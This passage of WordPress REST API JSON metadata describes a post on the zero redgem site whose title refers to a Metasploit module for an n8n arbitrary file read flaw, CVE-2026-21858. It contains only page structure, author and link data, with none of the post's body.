read_MSF:AUXILIARY-GATHER-NI8MARE_CVE_2026_21858- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-16T13:47:31+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=41071#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=41071"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=41071#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"n8n arbitrary file read_MSF:AUXILIARY-GATHER-NI8MARE_CVE_2026_21858-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41071","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=41071"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41071\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=41071"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=41071"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=41071"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}